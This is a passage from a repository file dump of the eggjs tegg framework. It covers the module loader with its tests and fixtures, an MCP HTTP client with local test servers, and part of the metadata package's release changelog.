    "path": "tegg/core/loader/src/index.ts",
    "content": "export * from './LoaderFactory.ts';\nexport * from './LoaderUtil.ts';\nexport * from './impl/index.ts';\n"
  },
  {
    "path": "tegg/core/loader/test/Loader.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { EggLoadUnitType } from '@eggjs/metadata';\nimport { describe, it } from 'vitest';\n\nimport { LoaderFactory, LoaderUtil } from '../src/index.ts';\n\ndescribe('core/loader/test/Loader.test.ts', () => {\n  describe('module loader', () => {\n    it('should load module', async () => {\n      const repoModulePath = path.join(__dirname, './fixtures/modules/module-for-loader');\n      const loader = LoaderFactory.createLoader(repoModulePath, EggLoadUnitType.MODULE);\n      const prototypes = await loader.load();\n      assert.equal(prototypes.length, 4);\n      const appRepoProto = prototypes.find((t) => t.name === 'AppRepo');\n      const appRepo2Proto = prototypes.find((t) => t.name === 'AppRepo2');\n      const sprintRepoProto = prototypes.find((t) => t.name === 'SprintRepo');\n      const userRepoProto = prototypes.find((t) => t.name === 'UserRepo');\n      assert(appRepoProto);\n      assert(appRepo2Proto);\n      assert(sprintRepoProto);\n      assert(userRepoProto);\n    });\n\n    it('should not load test/coverage files', async () => {\n      const repoModulePath = path.join(__dirname, './fixtures/modules/module-with-test');\n      const loader = LoaderFactory.createLoader(repoModulePath, EggLoadUnitType.MODULE);\n      const prototypes = await loader.load();\n      assert.equal(prototypes.length, 1);\n    });\n\n    it('should set extraFilePattern without error', async () => {\n      LoaderUtil.setConfig({ extraFilePattern: ['!extra'] });\n      const repoModulePath = path.join(__dirname, './fixtures/modules/module-with-extra');\n      const loader = LoaderFactory.createLoader(repoModulePath, EggLoadUnitType.MODULE);\n      const prototypes = await loader.load();\n      assert.equal(prototypes.length, 1);\n    });\n  });\n\n  describe('file has tsc error', () => {\n    it('should failed', async () => {\n      const repoModulePath = path.join(__dirname, './fixtures/modules/loader-failed');\n      const loader = LoaderFactory.createLoader(repoModulePath, EggLoadUnitType.MODULE);\n      await assert.rejects(\n        async () => {\n          const prototypes = await loader.load();\n          console.log(prototypes);\n        },\n        (err: Error) => {\n          assert.match(\n            err.message,\n            /Syntax Error|ERROR: Expected \";\" but found \"here\"|failed: Expected `;` but found `Identifier`/,\n          );\n          return true;\n        },\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/loader/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"LoaderFactory\": [Function],\n  \"LoaderUtil\": [Function],\n  \"ModuleLoader\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/loader-failed/AppRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n\n@Prototype()\nexport class AppRepo2 {\n  error here;\n  async findAppByName(name: string): Promise<App> {\n    Foo.bar;\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/loader-failed/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-for-loader/AppRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n\n@Prototype()\nexport class AppRepo2 {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-for-loader/SprintRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class SprintRepo {\n  async save(): Promise<void> {\n    console.log('save');\n    return Promise.resolve();\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-for-loader/UserRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class UserRepo {}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-for-loader/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-extra/.dist/ThrowError.ts",
    "content": "throw new Error('should not load me');\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-extra/AppRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-extra/extra/UserRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class UserRepo {}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-extra/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-test/.gitignore",
    "content": "!coverage"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-test/AppRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\ninterface App {\n  name: string;\n}\n\n@Prototype()\nexport default class AppRepo {\n  async findAppByName(): Promise<App> {\n    return {\n      name: 'hello',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-test/coverage/fixtures/UserRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class UserRepo {}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-test/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/loader/test/fixtures/modules/module-with-test/test/fixtures/UserRepo.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\n\n@Prototype()\nexport default class UserRepo {}\n"
  },
  {
    "path": "tegg/core/loader/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/loader/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/modules/loader-failed/AppRepo.ts\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "tegg/core/loader/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/mcp-client/index.ts",
    "content": "export * from './src/HttpMCPClient.ts';\nexport * from './src/MCPClientQualifier.ts';\nexport * from './src/HeaderUtil.ts';\n"
  },
  {
    "path": "tegg/core/mcp-client/package.json",
    "content": "{\n  \"name\": \"@eggjs/mcp-client\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg mcp client\",\n  \"keywords\": [\n    \"egg\",\n    \"mcp\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/mcp-client\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"akitaSummer <akitasummer@outlook.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/mcp-client\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./HeaderUtil\": \"./src/HeaderUtil.ts\",\n    \"./HttpMCPClient\": \"./src/HttpMCPClient.ts\",\n    \"./MCPClientQualifier\": \"./src/MCPClientQualifier.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./HeaderUtil\": \"./dist/HeaderUtil.js\",\n      \"./HttpMCPClient\": \"./dist/HttpMCPClient.js\",\n      \"./MCPClientQualifier\": \"./dist/MCPClientQualifier.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@langchain/mcp-adapters\": \"^1.0.0\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"urllib\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\",\n    \"zod\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/src/HeaderUtil.ts",
    "content": "import { Headers } from 'urllib';\n\nexport function mergeHeaders(...headersInits: Array<HeadersInit | undefined>): HeadersInit {\n  const res: Record<string, string | null> = {};\n  for (const headersInit of headersInits) {\n    if (!headersInit) continue;\n    const headers = new Headers(headersInit);\n    for (const key of headers.keys()) {\n      res[key] = headers.get(key);\n    }\n  }\n  return res as Record<string, string>;\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/src/HttpMCPClient.ts",
    "content": "import type { Logger } from '@eggjs/tegg-types';\nimport { loadMcpTools } from '@langchain/mcp-adapters';\nimport { Client } from '@modelcontextprotocol/sdk/client/index.js';\nimport type { ClientOptions } from '@modelcontextprotocol/sdk/client/index.js';\nimport { SSEClientTransport } from '@modelcontextprotocol/sdk/client/sse.js';\nimport type { SSEClientTransportOptions } from '@modelcontextprotocol/sdk/client/sse.js';\nimport { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js';\nimport type { StreamableHTTPClientTransportOptions } from '@modelcontextprotocol/sdk/client/streamableHttp.js';\nimport type { RequestOptions } from '@modelcontextprotocol/sdk/shared/protocol.js';\nimport type { Implementation } from '@modelcontextprotocol/sdk/types.js';\nimport { fetch } from 'urllib';\n\nimport { mergeHeaders } from './HeaderUtil.ts';\n\nexport interface BaseHttpClientOptions extends ClientOptions {\n  logger: Logger;\n  fetch?: typeof fetch;\n  url: string;\n  transportType: 'SSE' | 'STREAMABLE_HTTP';\n}\nexport interface HttpSSEClientOptions extends BaseHttpClientOptions {\n  transportOptions?: SSEClientTransportOptions;\n  requestOptions?: RequestOptions;\n  transportType: 'SSE';\n}\nexport interface HttpStreamableHTTPClientOptions extends BaseHttpClientOptions {\n  transportOptions?: StreamableHTTPClientTransportOptions;\n  requestOptions?: RequestOptions;\n  transportType: 'STREAMABLE_HTTP';\n}\nexport type HttpClientOptions = HttpSSEClientOptions | HttpStreamableHTTPClientOptions;\n\nexport class HttpMCPClient extends Client {\n  protected logger: Logger;\n  options: HttpClientOptions;\n  #transport: SSEClientTransport | StreamableHTTPClientTransport;\n  #fetch: typeof fetch;\n  url: string;\n  clientInfo: Implementation;\n  constructor(clientInfo: Implementation, options: HttpClientOptions) {\n    super(clientInfo, options);\n    this.options = options;\n    this.#fetch = options.fetch ?? fetch;\n    this.logger = options.logger;\n    this.url = options.url;\n    this.clientInfo = clientInfo;\n  }\n  async #buildSSESTransport() {\n    const self = this;\n    this.logger.info('subscribe config %j use vip: %s', this.url);\n    const url = new URL(this.url);\n    const requestInit: { headers: Record<string, string> } = {\n      headers: {},\n    };\n    const fetchRequestInit = {\n      get headers() {\n        return mergeHeaders(self.options.transportOptions?.requestInit?.headers, requestInit.headers as HeadersInit);\n      },\n    };\n    const transportRequestInit: SSEClientTransportOptions = {\n      authProvider: this.options.transportOptions?.authProvider,\n      fetch: this.#fetch as any,\n      eventSourceInit: {\n        async fetch(url, requestInit) {\n          const headers = mergeHeaders(requestInit.headers, fetchRequestInit.headers);\n          requestInit.headers = headers as any;\n          return await self.#fetch(url, requestInit);\n        },\n      },\n      get requestInit() {\n        return {\n          ...self.options.transportOptions?.requestInit,\n          get headers() {\n            return fetchRequestInit.headers;\n          },\n        };\n      },\n    };\n    this.#transport = new SSEClientTransport(url, transportRequestInit);\n  }\n  async #buildStreamableHTTPTransport() {\n    const self = this;\n    this.logger.info('subscribe config %j use vip: %s', this.url);\n    const url = new URL(this.url);\n    const requestInit: { headers: Record<string, string> } = {\n      headers: {},\n    };\n    const fetchRequestInit = {\n      get headers() {\n        return mergeHeaders(self.options.transportOptions?.requestInit?.headers, requestInit.headers as HeadersInit);\n      },\n    };\n    const transportRequestInit: StreamableHTTPClientTransportOptions = {\n      authProvider: this.options.transportOptions?.authProvider,\n      fetch: this.#fetch as any,\n      get requestInit() {\n        return {\n          ...self.options.transportOptions?.requestInit,\n          get headers() {\n            return fetchRequestInit.headers;\n          },\n        };\n      },\n    };\n    this.#transport = new StreamableHTTPClientTransport(url, transportRequestInit);\n  }\n  async init(): Promise<void> {\n    if (this.options.transportType === 'SSE') {\n      await this.#buildSSESTransport();\n    } else {\n      await this.#buildStreamableHTTPTransport();\n    }\n    await this.connect(this.#transport, this.options.requestOptions);\n  }\n  async getLangChainTool(): Promise<any[]> {\n    return await loadMcpTools(this.clientInfo.name, this as any, {\n      throwOnLoadError: true,\n      prefixToolNameWithServerName: false,\n      additionalToolNamePrefix: '',\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/src/MCPClientQualifier.ts",
    "content": "import assert from 'node:assert';\n\nimport { QualifierUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass, ModuleConfig, ObjectInfo } from '@eggjs/tegg-types';\n\nexport const MCPClientQualifierAttribute: symbol = Symbol.for('Qualifier.MCP_CLIENT');\nexport const MCPClientInjectName = 'mcpClient';\n\nexport function MCPClientQualifier(mcpClientName: string): (target: any, propertyKey: PropertyKey) => void {\n  return function (target: any, propertyKey: PropertyKey): void {\n    QualifierUtil.addProperQualifier(\n      target.constructor as EggProtoImplClass,\n      propertyKey,\n      MCPClientQualifierAttribute,\n      mcpClientName,\n    );\n  };\n}\n\nexport type MCPConfigType = any;\n\nexport function getMCPClientName(objectInfo: ObjectInfo): string {\n  const mcpClientName = objectInfo.qualifiers.find((t) => t.attribute === MCPClientQualifierAttribute)?.value;\n  assert(mcpClientName, 'not found mcpClientName name');\n  return mcpClientName as string;\n}\n\nexport function getMCPClientConfig(config: ModuleConfig, objectInfo: ObjectInfo): MCPConfigType {\n  const mcpClientName = getMCPClientName(objectInfo);\n  const mcpClientConfig = (config as any).mcp?.clients[mcpClientName];\n  if (!mcpClientConfig) {\n    throw new Error(`not found ChatModel config for ${mcpClientName}`);\n  }\n  return mcpClientConfig!;\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/src/index.ts",
    "content": "export * from './HttpMCPClient.ts';\nexport * from './MCPClientQualifier.ts';\nexport * from './HeaderUtil.ts';\n"
  },
  {
    "path": "tegg/core/mcp-client/test/HttpMCPClient.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { randomUUID } from 'node:crypto';\n\nimport { describe, it, beforeAll } from 'vitest';\n\ndescribe('test/HttpMCPClient.test.ts', () => {\n  let HttpMCPClient: any;\n  let startSSEServer: any;\n  let stopSSEServer: any;\n  let startStreamableServer: any;\n  let stopStreamableServer: any;\n\n  beforeAll(async () => {\n    const clientMod = await import('../src/HttpMCPClient.ts');\n    HttpMCPClient = clientMod.HttpMCPClient;\n    const sseMod = await import('./fixtures/sse-mcp-server/http.ts');\n    startSSEServer = sseMod.startSSEServer;\n    stopSSEServer = sseMod.stopSSEServer;\n    const streamMod = await import('./fixtures/streamable-mcp-server/http.ts');\n    startStreamableServer = streamMod.startStreamableServer;\n    stopStreamableServer = streamMod.stopStreamableServer;\n  });\n\n  it('should work', async () => {\n    await startStreamableServer();\n    const client = new HttpMCPClient(\n      {\n        name: 'test',\n        version: '1.0.0',\n      },\n      {\n        transportType: 'STREAMABLE_HTTP',\n        logger: console as any,\n        url: 'http://127.0.0.1:17243',\n      },\n    );\n    await client.init();\n    const tools = await client.listTools();\n    assert(tools);\n    await stopStreamableServer();\n  });\n\n  it('should sse work', async () => {\n    await startSSEServer();\n    const client = new HttpMCPClient(\n      {\n        name: 'test',\n        version: '1.0.0',\n      },\n      {\n        transportType: 'SSE',\n        logger: console as any,\n        transportOptions: {\n          requestInit: {\n            headers: {\n              'SOFA-TraceId': randomUUID(),\n              'SOFA-RpcId': '0.1',\n            },\n          },\n        },\n        url: 'http://127.0.0.1:17233/mcp/sse',\n      },\n    );\n    await client.init();\n    const tools = await client.listTools();\n    assert(tools);\n    await stopSSEServer();\n  });\n});\n"
  },
  {
    "path": "tegg/core/mcp-client/test/fixtures/sse-mcp-server/http.ts",
    "content": "import http from 'node:http';\n\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport { z } from 'zod';\n\n// Create an MCP server\nconst server = new McpServer({\n  name: 'Demo',\n  version: '1.0.0',\n});\n\n// Add an addition tool\nserver.registerTool(\n  'add',\n  {\n    inputSchema: { a: z.number(), b: z.number() },\n  },\n  async ({ a, b }) => ({\n    content: [{ type: 'text', text: String(a + b) }],\n  }),\n);\n\n// Add a dynamic greeting resource\nserver.registerResource(\n  'greeting',\n  'greeting://{name}',\n  {},\n  // @ts-ignore\n  async (uri, { name }) => ({\n    contents: [\n      {\n        uri: uri.href,\n        text: `Hello, ${name}!`,\n      },\n    ],\n  }),\n);\n\nconst transports: Record<string, any> = {};\nexport const headers: Record<string, any> = {};\n\nexport let httpServer: http.Server;\nexport async function startSSEServer(port = 17233) {\n  const httpServer = http.createServer(async (req, res) => {\n    const url = new URL(`http://127.0.0.1:${port}${req.url!}`);\n    const headerKey = `${req.method}${url.pathname}`;\n    const serverCode = req.headers['x-mcp-server-code'] as string;\n    headers[serverCode] = headers[serverCode] || {};\n    headers[serverCode][headerKey] = headers[serverCode][headerKey] || [];\n    headers[serverCode][headerKey].push(req.headers);\n    if (req.method === 'GET') {\n      const transport = new SSEServerTransport('/mcp', res);\n      transports[transport.sessionId] = transport;\n      // Connect the transport to the MCP server\n      await server.connect(transport);\n    } else if (req.method === 'POST') {\n      const sessionId = url.searchParams.get('sessionId');\n      // const chunks: Buffer[] = [];\n      // for await (const chunk of req) {\n      //   chunks.push(chunk);\n      // }\n      // const body = JSON.parse(Buffer.concat(chunks).toString('utf-8'));\n      const transport = transports[sessionId!] as SSEServerTransport;\n      await transport.handlePostMessage(req, res);\n      res.statusCode = 201;\n      res.end();\n    }\n  });\n  return new Promise<void>((resolve) => {\n    httpServer.listen(port, resolve);\n  });\n}\n\nexport async function stopSSEServer() {\n  server.close();\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/test/fixtures/streamable-mcp-server/http.ts",
    "content": "import http from 'node:http';\n\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { z } from 'zod';\n\n// Create an MCP server\nconst server = new McpServer({\n  name: 'Demo',\n  version: '1.0.0',\n});\n\n// Add an addition tool\nserver.registerTool(\n  'add',\n  {\n    inputSchema: { a: z.number(), b: z.number() },\n  },\n  async ({ a, b }) => ({\n    content: [{ type: 'text', text: String(a + b) }],\n  }),\n);\n\n// Add a dynamic greeting resource\nserver.registerResource(\n  'greeting',\n  'greeting://{name}',\n  {},\n  // @ts-ignore\n  async (uri, { name }) => ({\n    contents: [\n      {\n        uri: uri.href,\n        text: `Hello, ${name}!`,\n      },\n    ],\n  }),\n);\n\nexport const headers: Record<string, any> = {};\n\nexport let httpServer: http.Server;\nexport async function startStreamableServer(port = 17243) {\n  const httpServer = http.createServer(async (req, res) => {\n    const { StreamableHTTPServerTransport } = require('@modelcontextprotocol/sdk/server/streamableHttp.js');\n    const url = new URL(`http://127.0.0.1:${port}${req.url!}`);\n    const headerKey = `${req.method}${url.pathname}`;\n    const serverCode = req.headers['x-mcp-server-code'] as string;\n    headers[serverCode] = headers[serverCode] || {};\n    headers[serverCode][headerKey] = headers[serverCode][headerKey] || [];\n    headers[serverCode][headerKey].push(req.headers);\n    if (req.method === 'POST') {\n      try {\n        const transport: typeof StreamableHTTPServerTransport = new StreamableHTTPServerTransport({\n          sessionIdGenerator: undefined,\n        });\n        await server.connect(transport);\n        await transport.handleRequest(req, res);\n        res.on('close', () => {\n          console.log('Request closed');\n          transport.close();\n          server.close();\n        });\n      } catch (error) {\n        console.error('Error handling MCP request:', error);\n        if (!res.headersSent) {\n          res.statusCode = 500;\n          res.setHeader('Content-Type', 'application/json');\n          res.end(\n            JSON.stringify({\n              jsonrpc: '2.0',\n              error: {\n                code: -32603,\n                message: 'Internal server error',\n              },\n              id: null,\n            }),\n          );\n        }\n      }\n    } else {\n      res.statusCode = 405;\n      res.setHeader('Content-Type', 'application/json');\n      res.end(\n        JSON.stringify({\n          jsonrpc: '2.0',\n          error: {\n            code: -32601,\n            message: 'Method not found',\n          },\n          id: null,\n        }),\n      );\n    }\n  });\n  return new Promise<void>((resolve) => {\n    httpServer.listen(port, resolve);\n  });\n}\n\nexport async function stopStreamableServer() {\n  server.close();\n}\n"
  },
  {
    "path": "tegg/core/mcp-client/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/metadata/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* add default inject init type qualifier ([#255](https://github.com/eggjs/tegg/issues/255)) ([538ae80](https://github.com/eggjs/tegg/commit/538ae8033ff102ac0b1d141c6495058a800e46f1))\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* export ProtoDescriptorHelper ([#245](https://github.com/eggjs/tegg/issues/245)) ([f01fb63](https://github.com/eggjs/tegg/commit/f01fb639b153a907fd9c951d4b1e40ba101b43d0))\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n\n### Bug Fixes\n\n* fix miss MultiInstance proper qualifiers ([#241](https://github.com/eggjs/tegg/issues/241)) ([15666d3](https://github.com/eggjs/tegg/commit/15666d36c18b99eccc4f1a11d8e7702503694ee1))\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n\n### Bug Fixes\n\n* add preload loadunit ([#236](https://github.com/eggjs/tegg/issues/236)) ([0e28972](https://github.com/eggjs/tegg/commit/0e2897200a9bc3bc6aa1028c8549bdbf45bbaaa3))\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n\n### Features\n\n* add LifecyclePreLoad ([#234](https://github.com/eggjs/tegg/issues/234)) ([2b72163](https://github.com/eggjs/tegg/commit/2b7216387f02cd045952447eaa21baa3a7ee04a3))\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## 